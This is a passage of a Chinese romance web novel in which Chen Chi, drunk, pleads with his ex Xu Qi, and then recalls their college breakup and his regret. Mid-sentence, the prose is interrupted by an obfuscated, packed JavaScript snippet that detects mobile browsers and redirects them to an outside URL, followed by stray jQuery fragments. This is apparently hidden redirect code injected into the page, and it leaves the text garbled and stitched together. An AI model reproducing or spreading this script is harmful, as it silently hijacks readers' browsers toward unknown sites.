陈驰将这一幕收尽眼底。
他毫不客气地凑过来，瞥见许栖的屏幕，然后看到这个备注愣了一下。
“真不愧是你，宝贝儿！”陈驰笑，语气里透着愉悦，“这备注……果然还是那个味儿。”
许栖淡淡瞥他：“你有意见？”
“没有没有。”陈驰嘴角扬起，心情似乎莫名变好，轻轻晃着酒杯，“还挺符合你风格的，直接精准，还没半点情绪色彩。”
许栖面无表情地放下手机。
陈驰哂笑，目光中少了几分戒备与冷意，心里对沈栎的提防，也不由得散去几分。一个被许栖标记成这样的男人，能有什么特别的地位？
“再喝点？”他忽然挑眉问道。
许栖轻轻放下酒杯，语气淡然：“好啊。”
陈驰笑了，眉眼里带着点难得的柔软：“宝贝儿真乖。”
许栖扫了他一眼：“少贫。”
陈驰低声笑：“好嘞，宝贝儿说啥就是啥。”
苏瑾看着两人之间的互动，忍不住调侃：“哟，陈总这是怎么了？刚刚还阴阳怪气的，现在怎么笑得跟中了大奖似的？”
陈驰眼角带笑地扫了她一眼，语气懒洋洋：“心情好，有问题？”
苏瑾举杯：“没问题，没问题，来，走一个。”
程宇的眼神，在许栖和陈驰中间来回打量。他悄悄问苏瑾：“许律师和陈总，是未婚夫妻吧？我怎么觉着他们之间怪怪的？”
苏瑾拍了他一下：“哎，你少管。这俩人多少年了，就这样。”
酒过三巡，空气里弥漫着淡淡的酒气，室外霓虹闪烁，映在玻璃窗上，映出一片模糊的光影。程宇和苏瑾的代驾到了，两人告别后离场。
不久，许栖约的代驾也已经到门口。她收起手机，站起身拿起包，准备离开。
身后传来陈驰的声音：“许栖。”
她停下脚步，回头看去，眉眼淡淡：“有事？”
陈驰斜倚着桌沿，指间夹着一根燃了一半的烟，白色烟雾缭绕在指尖，衬得他的骨节修长分明。他低头吸了一口，烟雾自薄唇间散开，眸色幽深，透着几分散漫的不羁，但眼底却有压抑不住的阴郁和烦躁，像是烈火在暗夜里燃烧。
“没事就不能喊你？”
他声音低哑，带着阴郁的笑意，指尖将烟蒂抵在烟灰缸边缘碾灭。身子微微前倾时，半敞的衬衫愈发松散，衣料顺着肩线滑下，露出他精瘦紧实的腰侧。
一抹墨色映入眼帘。
许栖的目光微微垂下。
那是一组英文字母的纹身，刻在他皮肤之下，随着他的动作若隐若现。
XuXi.
她认得这枚纹身。
很多年前的夏天，陈驰半跪在床上，手臂撑在她耳侧，额前的碎发被汗水打湿，嗓音低沉：“我刻下了你的名字，许栖，以后你就属于我了。”
许栖别开视线，只当没看见。
她以为这么多年过去，他早就把这些痕迹处理干净了。毕竟他谈了一个又一个女朋友，身上总挂着别人名字的刺青，很不方便。可现在看来，他一直没动过它。
难怪他的那些前女友，每一个都对她敌意那么大。
陈驰抬眸看着她，嘴角依旧挂着轻慢的笑，他起身慢悠悠地走近了几步：“今天这么热闹，最后一杯都不给我面子？”
许栖站在原地，目光平静地看着他：“陈少还喝得动？要是明天新闻写着‘驰远集团公子醉酒失态’，回头你爸看到了，又要让你反省。”
陈驰轻嗤一声，眼底笑意散淡：“失态？在你面前，我还有不失态的时候？”
许栖没有接话，只是微微皱了下眉。
她不喜欢陈驰喝醉时的状态，不是因为他会胡闹，而是因为他在醉意里显得太过真实，少了平日里那层漫不经心的伪装。
他若是装疯卖傻，她反倒能轻易应对。可他现在的目光太过清醒，反而叫她不愿多看。
陈驰低低笑了一声，懒散地站定在她面前，语气低哑中藏着几分隐忍和压抑：“许栖，你为什么对我，总是这么毫不留情？”
许栖眉头微不可察地一皱，随即恢复平静，声音冷淡：“你喝多了。”
“是，我是喝多了。”陈驰直直地看着她，目光深邃且专注，带着几分被酒精点燃的情绪，“许栖，你明明知道，我从来没有忘过你，我的心里只有你。”
许栖失去耐心，径自朝门口走去。
可下一秒，手腕骤然被人扣住。
许栖微微一怔，随即目光淡漠地垂下，冷声道：“松手。”
陈驰没有放开，反而顺势扣紧了一些，掌心沿着她纤细的手腕下滑，摩挲着她的指节。力道暧昧又亲昵，像是在回味某种熟悉的温度。
“许栖，今天别回去了。”他的声音低沉，透着微醺的蛊惑，“陪陪我，行吗？”
许栖抬眼看他，眸色深沉：“陈驰，你清醒一点。”
陈驰低低笑了一声，盯着她的眼睛，缓慢地贴近，鼻息落在她耳侧，带着淡淡的烟草和酒气，声音几乎是喃喃：“你明明不讨厌我……”
她没有躲。
这一瞬间，陈驰清楚地感觉到，许栖没有躲，许栖其实并不抗拒他。
他的指尖缓缓下滑，沿着她的手臂一路摩挲，最终落在她的腰侧，轻轻收紧，将她往自己怀里带了带。
热度贴上皮肤，暧昧的气息在狭小的空间里弥漫。
“许栖。”他低低唤她的名字，嗓音隐忍，透着压抑了太久的渴望，“为什么……那个叫沈栎的可以，我不可以？”
许栖的眼神骤然一冷。
她蓦地往后退了一步，生生拉开了彼此的距离，冷声道：“陈驰，你要是还清醒，就别再做这种让人反感的事。”
“反感？”陈驰怔了一下，随即低笑了一声，笑意却未达眼底，“许栖，我对你来说，就这么让人恶心吗？”
许栖目光闪了闪，停顿了片刻，随后轻叹一口气。她转过身，拿起桌上的酒杯，举到他面前：“陈驰，这是最后一杯。”
陈驰盯着她，目光沉郁。眼中的醉意似乎被一瞬间的清醒取代。
许久，他接过酒杯，喉结轻动，像是想说什么，却最终只是抬手与她碰了碰杯。
玻璃杯撞击，发出清脆的声响。
许栖浅酌一口，放下杯子，眼神复杂地看着他：“陈驰，你是特别的。大学时候是，现在也是。但，也就到此为止了。”
她的声音轻，却带着不容置疑的决绝。
陈驰的手指猛地收紧，握着酒杯的指节泛白。
他低头看着杯中的酒液，沉默了片刻，突然自嘲地低笑了一声：“特别？许栖，你知道吗，这两个字，比‘恶心’还要扎人。”
许栖没有再说话，只是转身，迈步向门口走去。
高跟鞋敲击地面的声音清脆而决绝，像是某种不可逆的宣判。
陈驰站在原地，眼睁睁看着她的背影渐行渐远，目光幽暗。
他缓缓抬起手，将杯中酒一饮而尽。
酒液滚入喉中，苦涩与灼烧感交织。
他低低笑了一声，嗓音隐忍而沙哑：“许栖，你总是这么狠。”
外头的冷风吹进来，带走了空气中的酒气，也吹散了陈驰眼底最后的倔强。他缓缓转身，颓然地坐回沙发上，垂着头，半分醉态都看不出，像是所有力气都耗尽了一般。
他低垂着头，手里攥着空酒杯，闭上眼睛，仿佛还能回到那个阳光正好的秋天，那个让人怀念又心酸的大学时代。
那年大二的秋天，学校的梧桐树黄了，满地的落叶踩上去沙沙作响。陈驰在篮球场上挥汗如雨，一身白色球衣被汗水浸透。他身姿矫健，带球冲破对手的防线，投篮命中，全场一片欢呼。
场边的许栖却没多少欣喜的表情。她站在树荫下，抱着胳膊，神色平淡地看着场上的热闹。微风扬起她的长发，阳光透过梧桐树的枝叶洒在她身上，显得格外安静而疏离。
“许栖！”比赛结束后，陈驰大步走过来，脸上带着大男孩的得意和期待。他随手用毛巾擦了擦汗，随即朝她扬了扬下巴，“看到了吧，我最后那个三分球，是不是帅爆了？”
“嗯，还行吧。”许栖笑了笑，语气淡淡，听不出太多情绪。
陈驰不满地皱起眉，追问道：“就这反应？许栖，我都快把命拼在球场上了，你就这点评价？”
“我对篮球又不感兴趣。”许栖摇了摇头，声音轻缓，但有些微不可察的疲惫，“而且，看你打球，总让我想起别人。”
“别人？”陈驰的脸色僵了一下，随即咬了咬牙，试图掩饰那一瞬间的不安，“谁啊？谁能比我打得好？”
许栖没有回答。她的目光飘向远处，心底某个角落浮现出另一个身影——那个少年穿着天蓝色的9号球衣，站在阳光下冲她笑得肆意温柔，却在高考后悄无声息地，消失在她的世界里。沈栎。
她轻轻呼出一口气，仿佛想将这思绪吹散，低声道：“没什么，随便说的。”
陈驰盯着她，眼神复杂。几秒后，他忽然将毛巾扔到肩膀上，低声嘟囔了一句：“他有什么好？阴魂不散鬼影子。”
许栖没听清，问了句：“你说什么？”
“没什么。”陈驰迅速摆出一副轻松的模样，抬手勾住她的肩膀，“走吧，去吃饭。”
许栖推开他的手，白了他一眼：“满身汗，离我远点。”
陈驰笑得更加灿烂，似乎她的每一句嫌弃都会让他更有动力。他知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115073|163594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她不像别的女生一样热情，但她肯来，就已经是他的幸运。
后来，许栖回应了他的追求，他们的感情发展得顺理成章，却也从未如陈驰想象中的那般轰轰烈烈。
许栖是爱过陈驰的，但她的爱总是克制的，像一个盛水的玻璃杯，永远只盛到刚刚好，永远不会盛满溢出来。
分手那天，陈驰赌气说出了一句“你根本不在乎我”，然后头也不回地离开。
他以为许栖会追上来，会为他哭，会像许多情侣吵架后那样，眼眶泛红地拽住他的袖口，低声哄他一句：“我在乎的。”
可她没有。
许栖站在原地，目光沉静，神色淡漠，像是根本不曾被这段恋爱真正打动。
陈驰脚步一滞，心底生出一丝不安，可他还是倔强地往前走了。
可他不知道，回到宿舍后，许栖抱着枕头哭了整整一个晚上。
分手后，陈驰越想越不甘。
他故意在第二天，带着别的女生在校园里拥吻，展示自己纨绔的一面，只为让许栖吃醋。他圈子里的狐朋狗友们，都是这么做的。他的那些二代发小们告诉他，这样就能让他没心肝的女友吃醋和回头。
然而，站在不远处的许栖只是静静地看着，眼中没有愤怒，没有悲伤，甚至连惊讶都没有。
只有淡漠。
那种疏离而冷静的神情，让陈驰心口猛地一窒。
她真就一点都不在意他吗？
陈驰心里憋着一口气。
结果没多久，他就听说许栖交了新男友。
她果然是，一点都不在乎他。
后来他后悔了，他想去挽回许栖，却再也挽回不了。许栖交了一个又一个的男友，哪怕他设法拆散掉她的新恋情，她也会毫不犹豫地，转头就牵起其他男生的手，但永远，不会回到他的怀抱。
她就是个，没有心肝的。
直到很久后，陈驰才终于从许栖闺蜜的口中得知，那天他在校园里亲吻其他女生的画面，落入许栖的眼中后。许栖看着那一幕，指尖攥紧了书包带，冷风掠过，她几乎站立不稳。
“真是幼稚。”许栖的闺蜜苏瑾，这样评价他。
陈驰赞同。
那天苏瑾一针见血地骂他：“陈驰，你他妈是白痴吗？”
“你自己心里没底吗？许栖根本就不是不在乎你，她只是习惯了克制，习惯了不把感情挂在脸上。你倒好，听到她没挽留，就一拍屁股走人，转头还带别的女生气她？”
“你怎么这么能作？”
“你知不知道你给许栖，造成了多大的心理阴影？她真的，好不容易才站起来！好不容易才迈过你给她的那个坎！”
那晚，陈驰坐在酒吧的角落，脸色阴沉，一杯接一杯地喝酒。
他从来没想过，分手的那天晚上，许栖竟然哭了一整夜。
他更没想过，自己那一场无聊至极的炫耀，真的伤得她那么深。
苏瑾说得对，他陈驰就是个白痴。
他以为许栖会妥协，他以为自己能够挽回。
于是，后知后觉的他，第二天冲去找她，红着眼说：“许栖，我错了。”
他说，自己和别的女生在一起，只是为了气她而已，他根本不喜欢别人。
他说，他后悔了。
他说：“我们重新开始，好不好？”
许栖站在他面前，目光漠然地看着他，像是看着一场彻底消散的旧梦。
然后，她唇角微动，轻轻地吐出一句——
“陈驰，你真让我恶心。”
与陈驰分手后，许栖立刻就开始和别人约会。试图用一段段新的关系，填补内心的某种缺失。只是这些人再优秀，也无法让她忘记从前那些深埋在心底的伤痕。
沈栎的不辞而别，陈驰的张扬与炫耀，都让许栖明白了一件事——她不能停留在原地被男人伤害。她必须往前走，即便是带着满身的裂痕和疲惫。
陈驰终于知道，是他亲手毁了他们之间的一切。
而如今，许栖站在高处，光芒万丈，而他，却只能在酒精中一遍又一遍追逐她的影子。
“可是，我还是放不下。”陈驰喃喃自语，抬手揉了揉脸，将那点湿润强行压回眼眶。
不管她走了多远，他始终停留在原地。
陈驰回过神时，手中的酒杯早已被他攥得发烫。他低笑了一声，苦涩地自嘲道：“许栖……你是真的走远了。”
如果许栖仍然留在这里，听到他的这些感慨，定然要骂上一句——“陈少又在犯什么矫情？”
但许栖没在这里。
松云亭隔壁的包厢里，烟雾缭绕，本该和苏瑾一同离开的程宇，正独自坐在里面。抽着一根烟。
许栖推门而入。